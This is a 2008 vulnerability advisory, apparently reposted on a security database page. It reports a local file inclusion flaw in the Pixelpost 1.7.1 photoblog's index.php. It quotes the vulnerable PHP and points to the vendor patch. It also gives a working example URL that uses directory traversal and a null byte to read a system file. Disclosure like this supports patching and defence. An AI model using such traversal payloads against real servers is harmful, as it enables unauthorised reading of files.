Local File Include Vulnerability in Pixelpost 1.7.1

2008.07.31

Credit: Digital Security Research Group [DSecRG]

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-3365

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-033

Application:                    Pixelpost photoblog
Versions Affected:              1.7.1
Vendor URL:                     http://www.pixelpost.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       22.07.2008
Vendor response:                23.07.2008
Solution:                       YES
Date of Public Advisory:        28.07.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Pixelpost photoblog has local file include vulnerability in script index.php

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

$PP_supp_lang = array(&#39;dutch&#39;=>array(&#39;NL&#39;,&#39;Nederlands&#39;),
                                          &#39;english&#39;=>array(&#39;EN&#39;,&#39;English&#39;),
                                          &#39;french&#39;=>array(&#39;FR&#39;,&#39;Francais&#39;),
                                          &#39;german&#39;=>array(&#39;DE&#39;,&#39;Deutsch&#39;),
                                          &#39;italian&#39;=>array(&#39;IT&#39;,&#39;Italiano&#39;),
                                          &#39;norwegian&#39;=>array(&#39;NO&#39;,&#39;Norsk&#39;),
                                          &#39;persian&#39;=>array(&#39;FA&#39;,&#39;Farsi&#39;),
                                          &#39;polish&#39;=>array(&#39;PL&#39;,&#39;Polskiego&#39;),
                                          &#39;portuguese&#39;=>array(&#39;PT&#39;,&#39;Portugues&#39;),
                                          &#39;simplified_chinese&#39;=>array(&#39;CN&#39;,&#39;Chinese&#39;),
                                          &#39;spanish&#39;=>array(&#39;ES&#39;,&#39;Espanol&#39;),
                                          &#39;swedish&#39;=>array(&#39;SE&#39;,&#39;Svenska&#39;),
                                          &#39;danish&#39;=>array(&#39;DK&#39;,&#39;Dansk&#39;),
                                          &#39;japanese&#39;=>array(&#39;JP&#39;,&#39;Japanese&#39;),
                                          &#39;hungarian&#39;=>array(&#39;HU&#39;,&#39;Magyar&#39;),
                                          &#39;romanian&#39;=>array(&#39;RO&#39;,&#39;Romana&#39;),
                                          &#39;russian&#39;=>array(&#39;RU&#39;,&#39;Russian&#39;),
                                          &#39;czech&#39;=>array(&#39;CS&#39;,&#39;Cesky&#39;)
                                         );
...
if(isset($_GET[&#39;lang&#39;])) { $language_abr = substr($_GET[&#39;lang&#39;],0,2); }

foreach ($PP_supp_lang as $key => $row) {
        foreach($row as $cell){
                if ($cell == strtoupper($language_abr)) { $language_full = $key; }
        }
}
...
if(!empty($language_full)) {
        if(file_exists("language/lang-".$language_full.".php")) {

if( !isset($_GET[&#39;x&#39;])OR($_GET[&#39;x&#39;] != "rss" & $_GET[&#39;x&#39;] != "atom")) {
                        require("language/lang-".$language_full.".php");
                }
        }else{
        ...

#################################################

Example:

http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../.
./../../../../../../../../../../boot.ini%00

Solution
********

Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:

http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

References:

http://www.securityfocus.com/bid/30397

http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch

http://www.securityfocus.com/archive/1/archive/1/494817/100/0/threaded

http://www.milw0rm.com/exploits/6150

http://www.frsirt.com/english/advisories/2008/2207/references

http://secunia.com/advisories/31239

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Local File Include Vulnerability in Pixelpost 1.7.1

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.